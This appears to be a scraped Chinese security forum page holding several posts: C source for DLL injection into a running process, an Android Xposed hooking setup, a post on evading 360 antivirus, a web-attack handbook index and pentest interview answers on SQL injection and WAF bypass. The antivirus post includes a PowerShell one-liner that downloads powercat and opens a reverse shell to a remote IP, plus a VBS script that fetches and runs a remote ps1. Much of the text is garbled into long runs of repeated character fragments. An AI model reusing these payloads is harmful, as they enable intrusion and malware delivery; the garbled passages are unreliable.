CreateRemoteThread(process, 0, 0, LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll if (createthread_ == 0) { printf("[-] createthread failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] CreateRemoteThread Sucess\n"); WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束（卸载DLL） } return 0; } 注入测试 RtlCreateUserThread DLL远程注入 RtlCreateUserThread是CreateRemoteThread的底层实现，所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的，这个函数可以实现跨会话创建线程。唯一的问题就是：当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程，它没有完整的初始化，在调用一些网络或者其它的系统函数的时候他可能返回失败，而通过CreateRemoteThread 创建的线程没有任何问题，在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本，当目标系统为Vista-的时候，我们应该通过RtlCreateUserThread创建一个挂起的线程，然后调用CsrClientCallServer通知csrss 这个线程的创建，然后csrss 做相应的记录及初始化工作之后，我们再恢复线程的执行。最后，我们新创建的线程必须自己调用ExitThread退出，否则也会产生崩溃的情况。原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 在卸载的时候会此DLL #include "stdafx.h" #include <Windows.h> #include <tlhelp32.h> typedef DWORD(WINAPI * pRtlCreateUserThread)( HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, PULONG StackReserved, PULONG StackCommit, LPVOID StartAddress, LPVOID StartParameter, HANDLE ThreadHandle, LPVOID ClientID ); DWORD findbyname(WCHAR *name) { HANDLE p; PROCESSENTRY32W p2; p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); p2.dwSize = sizeof(PROCESSENTRY32); printf("Proces Listlen:%d\n", p2.dwSize); BOOL besult = Process32FirstW(p, &p2); int calc = 0; while (besult!=FALSE) { int pid = p2.th32ProcessID; WCHAR *processname = p2.szExeFile; if (wcscmp(processname, name) == 0) { printf("%d ", pid); wprintf(processname); printf("\n"); return pid; } besult=Process32NextW(p,&p2); calc++; } return 0; } void Errorcode() { printf(",Error Code:%d\n", GetLastError()); exit(1); } DWORD dllinject(LPCSTR dll,int pid) { HANDLE h; h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); if (h == 0) { printf("[-] OpenProcess failure"); Errorcode(); } printf("[*] OpenProcess Sucess\n"); LPVOID moduleaddress = (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA"); if (moduleaddress == 0) { printf("[-] GetProcAddress LoadLibraryW failure"); Errorcode(); } printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n", moduleaddress); pRtlCreateUserThread RtlCreateUserThread = NULL; RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlCreateUserThread"); if (RtlCreateUserThread == 0) { printf("[-] GetProcAddress RtlCreateUserThread failure"); Errorcode(); } printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n", RtlCreateUserThread); //DWORD dwSize = (strlen(dll) + 1) * sizeof(char); SIZE_T dwSize = strlen(dll); LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (vt == 0) { printf("[-] VirtualAllocEx failure"); Errorcode(); } printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt); BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0); if (dlladdress == 0) { printf("[-] WriteProcessMemory failure"); Errorcode(); } printf("[*] WriteProcessMemory Sucess\n"); HANDLE hRemoteThread = NULL; RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL); printf("%d\n", GetLastError()); if (hRemoteThread ==0) { printf("[-] RtlCreateUserThread failure"); Errorcode(); return 1; } printf("[*] RtlCreateUserThread Sucess\n"); printf("[+] Dll Inject Sucess\n"); return 0; } int main() { WCHAR *processname = TEXT("notepad.exe"); LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll"; printf("DLL PATH:"); printf("\n"); int pid=findbyname(processname); dllinject(dllpath, pid); system("pause"); return 0; } 远程程线线程程调调用远程线程线程线程调程调用远程线程程线程调线程调用原理读取取目目标标要要注注入读取目取目标目标要标要注要注入读取目标取目标要目标要注标要注入的进进程程句句柄的进程进程句程句柄的进程句进程句柄计算算存存储计算存算存储计算存储路径径所所需需要要的的字字节节数路径所径所需所需要需要的要的字的字节字节数路径所需径所需要所需要的需要的字要的字节的字节数为远程进程分分配配一一个个内内存存以以存为远程远程进程进程进程分程分配分配一配一个一个内个内存内存以存以存以存储为远程进远程进程程进程分进程分配程分配一分配一个配一个内一个内存个内存以内存以存存以存储径名名称路径名径名称路径名称复制径到到远路径到径到远到远程路径到远径到远程到远程进获取中的的地地址中的地的地址中的地址创建建远创建远建远程远程调创建远程建远程调远程调用在远程地址空空间间中在远程远程地程地址地址空址空间空间中在远程地远程地址程地址空地址空间址空间中加载等待待远程结结束等待远待远程线程结程结束等待远程待远程线程线程结线程结束卸载设置径长长度路径长径长度路径长度取进程获取句读取进取进程进程获程获取获取句取句柄读取进程取进程获进程获取程获取句获取句柄给远址分个可可以以放放下给远程地址分址分配一个可个可以可以放以放下给远程地程地址分地址分配址分配一配一个可一个可以个可以放可以放下径的的内存空路径的径的内的内存内存空存空间路径的内径的内存的内存空内存空间程内存写写入远程内程内存内存写存写入远程内存程内存写内存写入里面函数数地函数地数地址函数地址进程调在远程进程进程调进程调用待线程创建结等待线待线程线程创程创建创建结建结束等待线程待线程创线程创建程创建结创建结束入测测试注入测入测试注入测试程注远程注程注入远程注入的底底层层实实现的底层底层实层实现的底层实底层实现所以以使使用所以使以使用所以使用的原理是是和和使的原理原理是理是和是和使和使用的原理是原理是和理是和使是和使用是一一样样的理是一是一样一样的原理是一理是一样是一样的这个个函数可以实现跨跨会会话话创建线这个函个函数函数可数可以可以实以实现实现跨现跨会跨会话会话创话创建创建线建线程这个函数个函数可函数可以数可以实可以实现以实现跨实现跨会现跨会话跨会话创会话创建话创建线创建线程唯一一的的问问题题就就是唯一的一的问的问题问题就题就是唯一的问一的问题的问题就问题就是当我我们们在当我们我们在当我们在之前前的的操操作作系系统统调用此此函数所所创建的的线程并并没没有有通通知知给之前的前的操的操作操作系作系统系统调统调用调用此用此函此函数函数所数所创所创建创建的建的线的线程线程并程并没并没有没有通有通知通知给之前的操前的操作的操作系操作系统作系统调系统调用统调用此调用此函用此函数此函数所函数所创数所创建所创建的创建的线建的线程的线程并线程并没程并没有并没有通没有通知有通知给它没有完完整整的的初初始始化它没有没有完有完整完整的整的初的初始初始化它没有完没有完整有完整的完整的初整的初始的初始化在调用一一些些网网络络或或者者其其它它的的系统函数的的时时候候他他可可能能返返回回失失败在调用调用一用一些一些网些网络网络或络或者或者其者其它其它的它的系的系统系统函统函数函数的数的时的时候时候他候他可他可能可能返能返回返回失回失败在调用一调用一些用一些网一些网络些网络或网络或者络或者其或者其它者其它的其它的系它的系统的系统函系统函数统函数的函数的时数的时候的时候他时候他可候他可能他可能返可能返回能返回失返回失败而通通过而通过程没有任

2022年10月18日4年前
2篇回复

环境夜神模拟器 6.6.0.5 Android version 5.1.1 Xposed.installer(5.11安卓系统) Xserver (0.6.2) 4.42安卓模拟器Xposed框架链接： https://pan.baidu.com/s/1depSSHCy0KYcFZzkPH7aZQ 密码: vmyr 5.11安卓模拟器Xposed框架链接： https://pan.baidu.com/s/1erZD4gMk1MQdVklnrmSuLg 密码: s4j4 Xserver下载 https://github.com/monkeylord/XServer Starting 安好xp框架，然后安装好xserver 两个坑： xp框架安装好后重启后发现未激活 - 重启后重新安装（这里我没遇到） xserver安好后激活了模块之后发现还是无法激活 - 重启Android。重启之后还是没用重新安装xp框架随便安个APP，拿的某音作为测试，打开某音。然后在Xserver选中对应的app adb连接 adb connect 127.0.0.1:62001 adb shell //检查8000端口是否真的打开了 adb forward tcp:8000 tcp:8000 //映射到本地的8000端口访问Sucess的话如下然后可以看到各种module？还是包。不知道该怎么称呼….，随便点开一个可以看到详细信息访问http://127.0.0.1:8000/tracer可以搜索什么函数之类的然后可以Hook 搜了个http，然后点击Hook Matched Class可以Hook了，然后刷新一下某音视频就能看到hook了的结果然后就是什么配置Android然后burp抓包看什么的。一般都是通信被加密了，然后通过这种方法来对着看什么什么之类的。没搞过就不说了环境夜神神模模拟拟器夜神模神模拟模拟器夜神模拟神模拟器安卓卓系系统安卓系卓系统安卓系统卓模安卓模卓模拟安卓模拟卓模拟器框架架链链接框架链架链接框架链接密码下载安好然后后安安装装好然后安后安装安装好然后安装后安装好两个个坑两个坑架安好后后重重启启后后发发现现未未激激活框架安架安装装好后好后重后重启重启后启后发后发现发现未现未激未激活框架安装架安装好安装好后装好后重好后重启后重启后重启后发启后发现后发现未发现未激现未激活重新新安启后重后重新重新安新安装重启后重启后重新后重新安重新安装这里里我我没没遇遇到这里我里我没我没遇没遇到这里我没里我没遇我没遇到后激活了了模模块块之之后现还还是是无无法法激安好后好后激后激活激活了活了模了模块模块之块之后之后发发现还现还是还是无是无法无法激法激活安好后激好后激活后激活了激活了模活了模块了模块之模块之后块之后发之后发现后发现还发现还是现还是无还是无法是无法激无法激活启之后还是没没用用重重启之启之后之后还后还是还是没是没用没用重用重新重启之后启之后还之后还是后还是没还是没用是没用重没用重新用重新安随便便安安个随便安便安个随便安个拿的的某某音音作作为为测测试拿的某的某音某音作音作为作为测为测试拿的某音的某音作某音作为音作为测作为测试打开开某打开某开某音打开某音后在然后在选中中对对应应的选中对中对应对应的选中对应中对应的连接检查端口口是是否否真真的的打开了端口是口是否是否真否真的真的打的打开打开了端口是否口是否真是否真的否真的打真的打开的打开了映射射到到本本地地的映射到射到本到本地本地的映射到本射到本地到本地的访问的话话如如下的话如话如下的话如下后可可以以看看到到各各种然后可后可以可以看以看到看到各到各种然后可以后可以看可以看到以看到各看到各种是包还是包不知知道道该该怎怎么么称称呼不知道知道该道该怎该怎么怎么称么称呼不知道该知道该怎道该怎么该怎么称怎么称呼便点点开开一一个个可到详详细细信信息随便点便点开点开一开一个一个可个可以看到详到详细详细信细信息随便点开便点开一点开一个开一个可一个可以个可以看以看到详看到详细到详细信详细信息以搜搜索索什什么么函函数数之之类类的的然可以搜以搜索搜索什索什么什么函么函数函数之数之类之类的类的然的然后可以搜索以搜索什搜索什么索什么函什么函数么函数之函数之类数之类的之类的然类的然后的然后可搜了了个搜了个后点点击然后点后点击然后点击后刷刷新新一一下下某音视视频频就就能能看然后刷后刷新刷新一新一下一下某下某音某音视音视频视频就频就能就能看能看到然后刷新后刷新一刷新一下新一下某一下某音下某音视某音视频音视频就视频就能频就能看就能看到了的的结结果了的结的结果了的结果后就就是是什么配配置然后就后就是就是什是什么什么配么配置然后就是后就是什就是什么是什么配什么配置抓包包看看什么的抓包看包看什看什么什么的抓包看什包看什么看什么的一般般都都是是通通信信被被加加密密了一般都般都是都是通是通信通信被信被加被加密加密了一般都是般都是通都是通信是通信被通信被加信被加密被加密了后通通过过这这种种方方法法来来对对着着看么什么之然后通后通过通过这过这种这种方种方法方法来法来对来对着对着看着看什什么什么什么什么之么之类然后通过后通过这通过这种过这种方这种方法种方法来方法来对法来对着来对着看对着看什着看什么看什么什什么什么么什么之什么之类么之类的没搞搞过过就就不不说说了没搞过搞过就过就不就不说不说了没搞过就搞过就不过就不说就不说了

2022年10月18日4年前
1篇回复

前言中午开始想从360手上搞点好果汁吃。奈何360太流氓，一句拦截行天下得出来的结果 360不拦截本机执行powershell，但是拦截其他进程调用powershell cmd也是一个道理是先执行被拦截的进程，被检测到然后360结束进程 vbs下载只有下载保存的文件后缀不为hta、exe就不会被拦截,可以保存为txt、ps1 有360的机子，不能将文件重命名为exe、hta 但是，用系统本身存在的功能进行远程下载它会拦截，用第三方的远程下载器并不会拦截 360对powershell拦截的不是内容，拦截的是参数 ijps1 IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.241.147 -p 4445 -e cmd vbs Set post=CreateObject("Msxml2.XMLHTTP") post.Open "GET","http://192.168.3.4/ij.ps1" '发送请求 post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() '等待3秒，等文件下载 wscript.sleep 3000 aGet.Write(post.responseBody)'写数据 aGet.SaveToFile "ij.ps1",2 set ws=wscript.createobject("wscript.shell") ret=ws.run ("powershell -nologo -file ij.ps1" ,3,true) 测试结果： elTNkV.md.gif PS:绕过是绕过，但是是落地执行 py下载器 import requests import optparse import os class zx(object): def __init__(self,command): self.command=command def __call__(self,zx): def wt(*args,**kwargs): print('[+] 开始下载') try: rqt=requests.get(url=args[0],headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36'},timeout=3) global value value=len(rqt.content) dk=open(args[1],'wb') dk.write(rqt.content) dk.close() except: pass if os.path.exists(args[1]): jd=len(open(args[1],'rb').read()) if jd==value: print('[+] 文件:{}下载成功'.format(args[1])) else: print('[-] 文件:{}下载失败，失败原因:大小不一致'.format(args[1])) else: print('[-] 文件下载失败') return zx(*args,**kwargs) return wt @zx(command='calc') def download(url,file): pass def demo(): usage='download.py -u [url] -s [save_filename]' parsersq=optparse.OptionParser(usage) parsersq.add_option('-u',dest='url',help='指定要下载的URL路径') parsersq.add_option('-s',dest='file_name',help='保存为什么名称') (options,args)=parsersq.parse_args() if options.url and options.file_name: download(options.url,options.file_name) else: parsersq.print_help() exit() if __name__ == '__main__': demo() 结果： elTbAP.png 360并没有拦截前言中午午开开始始想想从中午开午开始开始想始想从中午开始午开始想开始想从手上上搞搞点点好好果果汁汁吃手上搞上搞点搞点好点好果好果汁果汁吃手上搞点上搞点好搞点好果点好果汁好果汁吃奈何太流流氓太流氓一句句拦拦截截行行天天下一句拦句拦截拦截行截行天行天下一句拦截句拦截行拦截行天截行天下得出出来来的的结结果得出来出来的来的结的结果得出来的出来的结来的结果不拦截本本机机执执行不拦截拦截本截本机本机执机执行不拦截本拦截本机截本机执本机执行但是是拦截其其他他进进程程调调用但是拦是拦截拦截其截其他其他进他进程进程调程调用但是拦截是拦截其拦截其他截其他进其他进程他进程调进程调用也是是一一个个道道理也是一是一个一个道个道理也是一个是一个道一个道理是先先执行被被拦截的的进是先执先执行执行被行被拦被拦截拦截的截的进的进程是先执行先执行被执行被拦行被拦截被拦截的拦截的进截的进程被检检测测到到然然后被检测检测到测到然到然后被检测到检测到然测到然后结束束进结束进束进程结束进程下载载只只有有下载保保存存的的文文件件后后缀缀不不为下载只载只有只有下有下载下载保载保存保存的存的文的文件文件后件后缀后缀不缀不为下载只有载只有下只有下载有下载保下载保存载保存的保存的文存的文件的文件后文件后缀件后缀不后缀不为就不不会会被就不会不会被会被拦就不会被不会被拦会被拦截可以以保存为可以保以保存保存为可以保存以保存为的机机子的机子不能能将将文件重重命命名名为不能将能将文将文件文件重件重命重命名命名为不能将文能将文件将文件重文件重命件重命名重命名为用系系统统本本身身存存在在的的功功能能进进行行远远程程下载它它会会拦用系统系统本统本身本身存身存在存在的在的功的功能功能进能进行进行远行远程远程下程下载下载它载它会它会拦会拦截用系统本系统本身统本身存本身存在身存在的存在的功在的功能的功能进功能进行能进行远进行远程行远程下远程下载程下载它下载它会载它会拦它会拦截用第第三三方方的的远载器器并并不用第三第三方三方的方的远的远程下载器载器并器并不并不会不会拦用第三方第三方的三方的远方的远程的远程下程下载器下载器并载器并不器并不会并不会拦不会拦截的不不是是内内容截的不的不是不是内是内容拦截的不截的不是的不是内不是内容的是是参参数截的是的是参是参数拦截的是截的是参的是参数发送送请请求发送请送请求发送请求等待等文件下等文件文件下件下载等文件下文件下载写数数据写数据测试试结测试结试结果测试结果绕过过是是绕绕过是过是绕是绕过绕过是绕过是绕过是是是落落地地执但是是是是落是落地落地执地执行但是是落是是落地是落地执落地执行始下开始下始下载开始下载载成成功下载成载成功下载成功载失失败下载失载失败下载失败败原原因失败原败原因失败原因大小小不不一一致大小不小不一不一致大小不一小不一致件下载失指定定要要下载的指定要定要下要下载下载的指定要下定要下载要下载的路径为什什么么名名称存为什为什么什么名么名称保存为什存为什么为什么名什么名称并没没有有拦并没有没有拦有拦截并没有拦没有拦截

2022年10月18日4年前

WEB 安全手册【声明】个人的快速查询目录，经验整理，仅供参考。【内容】包括个人对漏洞理解、漏洞利用、代码审计和渗透测试的整理，也收录了他人相关的知识的总结和工具的推荐。 0x00 技能栈依照红队的流程分工，选择适合自己的技能栈发展。越接近中心的能力点越贴近web技术栈，反之亦然。可以根据自身情况，选择技术栈的发展方向。 0x01 漏洞理解篇(Vulnerability) 1.1 前端同源策略 & CSP & JOSNP 跨域安全 1.2 后端应用分层 & 漏洞分类错综复杂的后端逻辑及安全 1.3 打造自己的知识库爬取范围包括先知社区、安全客、Seebug Paper、跳跳糖、奇安信攻防社区、棱角社区 [Tool] 推送安全情报爬虫@Le0nsec 0x02 漏洞利用篇(Exploit) 2.1 前端安全-XSS XSS 利用的是用户对指定网站的信任 Cross Site Scripting (XSS) 2.2 前端安全-CSRF CSRF 利用的是网站对用户网页浏览器的信任 Client-side request forgery (CSRF) 2.3 SQL注入&数据库漏洞利用 SQL injection - MySQL SQL injection - Oracle SQL injection - MSSQL MySQL，Oracle，MSSQL和PostgreSQL的OOB方法 SQL injection - 信息外带(OOB) Redis 漏洞利用程序检测参数不能为空，导致空口令无法利用 [Tool] 数据库综合利用工具 [Tool] MSSQL利用工具 2.4 模板注入 Server Side Template Injection (SSTI) MVC架构中，模板参数恶意输入产生的安全问题 STTI 总述 SSTI -Python SSTI -PHP 2.5 命令注入&代码执行命令注入&代码执行-PHP 命令注入&代码执行-Java 2.6 Xpath注入 XPath 即为 XML 路径语言 XPath Injection 2.7 XML External Entity (XXE) XXE 2.8 文件上传漏洞文件上传漏洞远古时期的通杀利器 FCKeditor编辑器漏洞利用 2.9 Server-side request forgery (SSRF) SSRF 2.10 反序列化漏洞 php,java只能序列化数据，python可以序列化代码。反序列化漏洞-PHP 反序列化漏洞-Java [Tool] 反序列化漏洞利用工具-Java ysoserial 拓展payload和添加脏数据绕过waf功能 [Tool] 反序列化漏洞利用工具针对Java ysoserial进行拓展 2.11 包含漏洞包含漏洞-PHP 2.12 PHP-特性漏洞 2.13 Java-特性漏洞表达式注入Java SprintBoot漏洞利用清单@LandGrey 按照清单做的配套工具 [Tool] SprintBoot漏洞利用工具 2.14 NodeJs-特性漏洞 Node.js 原型链污染 2.15 Other 利用前后DNS解析的不一致（劫持或者逻辑问题） DNS rebinding 攻击前后端不一致性请求走私总结@chenjj 0x03 代码审计篇(Audit) 3.1 PHP vscode&phpstorm方案,xdebug2.X和xdebug3.X配置 PHP调试环境的搭建 PHP代码审计@bowu678 3.2 JAVA Java调试环境的搭建 Java代码审计@cn-panda Java安全@Y4tacker Java漏洞平台@j3ers3 3.3 .NET .Net反序列化@Ivan1ee 3.4 Perl CGI Perl CGI快速上手，了解Perl语言特性 Perl基础&代码审计@mi1k7ea 0x04 渗透篇(Penetration) 【流程】网络预置（信息收集）-->网络接入（外网突破）-->权限获取和提升-->权限维持（后门）-->后渗透【基础】---免杀+++反溯源+++协同--- 4.0 环境准备 4.0.1 代理客户端操作系统 on VM + OpenWrt网关 on VM = 全局跳板全局代理[VMware]：Openwrt on VMware网关方案全局代理，虚拟网卡，需要手动配路由全局代理[Win]：Windows下socks客户端全局代理终极解决方案——tun2socks SSTap全局代理也是基于虚拟网卡方案，可惜已停止更新，推荐使用1.0.9.7版本 [Tool] Windows下全局代理客户端工具 SSTap Proxifier 全局代理支持并不好，可以设置规则选择指定程序走代理或直连 [Tool] Windows下代理客户端工具 Proxifier [Tool] Windows版 proxychains 4.1 网络预置 4.1.1 常规信息外网信息收集思路 4.1.2 资产搜索引擎 fofa.so shodan.io zoomeye.org censys.io 4.1.3 移动端从移动端拓展目标信息 [Tool] 移动端信息收集工具 AppInfoScanner [Tool] 安全分析框架 MobSF 4.2 网络接入(exp) 4.2.1 漏洞验证（扫描器）工欲其善必先利器 4.2.1.1 主动式 [Tool] AWVS Docker版 [Tool] 长亭的扫描器 Xray [Tool] Vulmap [Tool] 红队综合渗透框架SatanSword@Lucifer1993 4.2.1.2 被动式将Burpusuite打造成一个被动式扫描器 [Tool] BurpSutie 插件集合@Mr-xn 4.2.2漏洞利用(1day) 漏洞索引表【待整理】 IoT安全 & web安全& 系统漏洞 1day整理漏洞利用wiki 红队中易被攻击的一些重点系统漏洞整理@r0eXpeR 织梦全版本漏洞扫描@lengjibo [Tool] Struts2漏洞扫描&利用 [Tool] shiro反序列化漏洞利用 4.2.3 字典常用的字典，用于渗透测试、SRC漏洞挖掘、爆破、Fuzzing等@insightglacier Fuzzing相关字典@TheKingOfDuck 4.3 权限获取&提升 4.3.1 Win 离线|在线|破解 Windows 认证凭证获取 [Tool] mimikatz Windows认证凭证提取神器已经停止更新到CVE-2018 Windows提权漏洞集合@SecWiki 4.3.2 Linux Linux 认证凭证获取 Linux setuid提权 Linux 提权检测脚本 lse.sh 已经停止更新到CVE-2018 Linux提权漏洞集合@SecWiki 4.3.3 Docker&Sandbox逃逸 Dokcer容器逃逸@duowen1 4.4 权限维持&后门 4.4.0 通用 Meterpreter of Metasploit 使用教程 backdoor生成，meterpreter操作指令 4.4.1 Shell会话反弹/正向 Shell & 升级交互式Shell (Linux&Win) 4.4.2 Webshell [Tool] WebShell管理工具菜刀 [Tool] WebShell管理工具蚁剑 [Tool] WebShell管理工具冰蝎 [Tool] WebShell管理工具哥斯拉收集的各种Webshell@tennc 4.4.3 PC & Server [Tool] Cobalt Strike Cobalt Strike资料汇总@zer0yu 4.4.4 Mobile (Android & ios) 4.5 免杀免杀系列文章及配套工具@TideSec 4.6 隧道&代理 SSH 端口转发&开socks5 Iptables 端口复用 FRP 客服端和服务端配合的端口转发工具 [Tool] 反向端口转发工具 FRP Venom 可以嵌套多层代理，适合多层无外网的渗透测试，停止更新 [Tool] 内网多级代理服务端工具 Venom 比Venom更加稳定，持续更新【推荐】 [Tool] 内网多级代理服务端工具 Stowaway HTTP代理，国内更新维护【推荐】 [Tool] HTTP代理 Neo-reGeorg 4.7 后渗透 4.7.1 内网信息获取信息获取 & 远程文件操作 & 远程执行命令 & ipc$ & wmic & winrm Windows 主机常用命令可以提取流量中用户名&密码，NTML Hash，图片等，以及绘制网络拓扑。 [Tool] 流量取证工具 BruteShark Windows rdp相关的登录记录导出工具。 [Tool] 浏览器数据导出解密工具 [Tool] SharpRDPLog 4.7.2 轻量级扫描工具内网扫描神器，go语言跨平台，效率快，支持各类口令爆破，还有主机识别和web服务识别。 [Tool] fscan k8 team的内网扫描器 [Tool] Landon 4.7.3 渗透框架 [Tool] 后渗透利用神器 Metasploit [Tool] 内网横向拓展系统 InScan [Tool] 开源图形化内网渗透工具 Viper 4.7.4 域渗透域渗透@uknowsec 4.7.5 云平台通过accesskey获取相关主机权限执行命令 [Tool] Aliyun Accesskey Tool 4.8 反溯源 Linux 痕迹清理 4.9 协同 HackMD markdown协同工具(Docker版) 安全全手手册安全手全手册安全手册声明个人人的的快快速速查查询询目目录个人的人的快的快速快速查速查询查询目询目录个人的快人的快速的快速查快速查询速查询目查询目录经验验整整理经验整验整理经验整理仅供供参参考仅供参供参考仅供参考内容包括括个人对对漏漏洞洞理理解包括个括个人个人对人对漏对漏洞漏洞理洞理解包括个人括个人对个人对漏人对漏洞对漏洞理漏洞理解洞利利用漏洞利洞利用漏洞利用代码码审审计计和和渗渗透透测测试试的的整代码审码审计审计和计和渗和渗透渗透测透测试测试的试的整的整理代码审计码审计和审计和渗计和渗透和渗透测渗透测试透测试的测试的整试的整理也收收录录了了他他人人相相关关的的知知识识的的总总结结和和工工具具的的推推荐也收录收录了录了他了他人他人相人相关相关的关的知的知识知识的识的总的总结总结和结和工和工具工具的具的推的推荐也收录了收录了他录了他人了他人相他人相关人相关的相关的知关的知识的知识的知识的总识的总结的总结和总结和工结和工具和工具的工具的推具的推荐技能能栈技能栈依照照红红队队的的流流程程分分工依照红照红队红队的队的流的流程流程分程分工依照红队照红队的红队的流队的流程的流程分流程分工选择择适适合合自自己己的的技栈发发展选择适择适合适合自合自己自己的己的技的技能能栈发栈发展选择适合择适合自适合自己合自己的自己的技己的技能的技能栈技能栈发能栈发展越接接近近中中心心的的能能力力点点越越贴贴近越接近接近中近中心中心的心的能的能力能力点力点越点越贴越贴近越接近中接近中心近中心的中心的能心的能力的能力点能力点越力点越贴点越贴近技术术栈技术栈反之之亦亦然反之亦之亦然反之亦然可以以根根据据自自身身情情况可以根以根据根据自据自身自身情身情况可以根据以根据自根据自身据自身情自身情况择技栈的的发展方方向选择技择技术术栈的栈的发的发展发展方展方向选择技术择技术栈技术栈的术栈的发栈的发展的发展方发展方向解篇理解篇洞理解篇前端同源源策策略同源策源策略同源策略跨域域安跨域安域安全跨域安全后端应用用分分层应用分用分层应用分层洞分分类漏洞分洞分类漏洞分类错综综复复杂杂的的后端逻逻辑辑及及安错综复综复杂复杂的杂的后的后端后端逻端逻辑逻辑及辑及安及安全错综复杂综复杂的复杂的后杂的后端的后端逻后端逻辑端逻辑及逻辑及安辑及安全打造造自识库打造自造自己己的知知识库打造自己造自己的自己的知己的知识的知识库爬取取范范围围包括先先知知社社区爬取范取范围范围包围包括包括先括先知先知社知社区爬取范围取范围包范围包括围包括先包括先知括先知社先知社区全客安全客跳跳跳糖跳跳糖奇安安信信攻攻防防社奇安信安信攻信攻防攻防社防社区奇安信攻安信攻防信攻防社攻防社区棱角角社棱角社角社区棱角社区推送送安全情情报报爬爬虫推送安送安全安全情全情报情报爬报爬虫推送安全送安全情安全情报全情报爬情报爬虫用篇利用篇洞利用篇端安前端安端安全前端安全用的的是是用用户户对对指指定定网网站站的的信信任利用的用的是的是用是用户用户对户对指对指定指定网定网站网站的站的信的信任利用的是用的是用的是用户是用户对用户对指户对指定对指定网指定网站定网站的网站的信站的信任是网站对对用户网网页页浏浏览览器器的的是网是网站网站对站对用对用户用户网户网页网页浏页浏览浏览器览器的器的信用的是网的是网站是网站对网站对用站对用户对用户网用户网页户网页浏网页浏览页浏览器浏览器的览器的信器的信任注入数据据库库漏数据库据库漏库漏洞数据库漏据库漏洞库漏洞利方法信息息外外带信息外息外带信息外带

2022年10月15日4年前

正常面试官会提问这些问题，你照常回答即可。正常常面面试试官官会会提提问问这这些些问问题正常面常面试面试官试官会官会提会提问提问这问这些这些问些问题正常面试常面试官面试官会试官会提官会提问会提问这提问这些问这些问这些问题你照照常常回回答答即即可你照常照常回常回答回答即答即可你照常回照常回答常回答即回答即可

2022年10月15日4年前
6篇回复

介绍一下自认为有趣的挖洞经历（或CTF经历）你平时用的比较多的漏洞是哪些？相关漏洞的原理？以及对应漏洞的修复方案？你平时使用哪些工具?以及对应工具的特点? 如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做？请写出曾经绕过WAF的经过(SQLi，XSS，上传漏洞选一) 参考以下三篇我的WafBypass之道（SQL注入篇）我的WafBypass之道（Upload篇）我的WafBypass之道（Misc篇）谈一谈Windows系统与Linux系统提权的思路？列举出您所知道的所有开源组件高危漏洞(十个以上) 描述一个你深入研究过的 CVE 或 POC。 SQLi 如何判断sql注入，有哪些方法添加单引号，双引号，order by, rlike,sleep，benchmark，运算符，修改数据类型，报错注入语句测试介绍 SQL 注入漏洞成因，如何防范？注入方式有哪些？除了数据库数据，利用方式还有哪些？宽字符注入的原理？如何利用宽字符注入漏洞，payload如何构造及修复方案？通俗讲，gbk，big5等编码占了两个字节，sql语句进后端后对单引号等进行了转义，转义\为%5C，当前面的%xx与%5C能结合成两个字节的字符时候，就可以使后面的单引号逃逸，从而造成注入。比较常见的gbk，%df' => %df%5c%27 => 運' 。已经可以单引号了，剩下的就和普通注入差不多了。修复方式通过设置MYSQL数据库字符集utf8mb4，PHP字符集utf-8。你都了解哪些sql 的bypass技巧这种太多了，网上一搜一大把。主要还是看目标站点的过滤和防护，常见bypass可以是/**/替换空格，/!00000union/ 等于union，或者利用前端过滤，添加尖括号<>。大小写什么的都太常见了，如果过滤了函数或者关键字，可以尝试其他能达到效果的同等函数，关键字比如or 1=1可以用||1替换，或者用运算符比如/，%达到相同的效果。总之，还是看要求。 sqlmap如何对一个注入点注入? 如果是get型，直接，sqlmap -u “注入点网址”. 如果是post型，可以sqlmap -u “注入点网址” –data=”post的参数” 如果是cookie型，X-Forwarded-For等，可以访问的时候，用burpsuite抓包，注入处用*号替换，放到文件里，然后sqlmap -r “文件地址” mysql的网站注入，5.0以上和5.0以下有什么区别？ 5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。 5.0以下是多用户单操作，5.0以上是多用户多操做。 mysql注入点，用工具对目标站直接写入一句话，需要哪些条件？ root权限以及网站的绝对路径。以下链接存在 sql 注入漏洞，对于这个变形注入，你有什么思路？ demo.do?DATA=AjAxNg== 发现 demo.jsp?uid=110 注入点，你有哪几种思路获取 webshell，哪种是优选？ Domain 解释一下同源策略如果两个页面的协议，端口和域名相同，则可认为是同源。同源策略，那些东西是同源可以获取到的读取cookie， LocalStorage 和 IndexDB 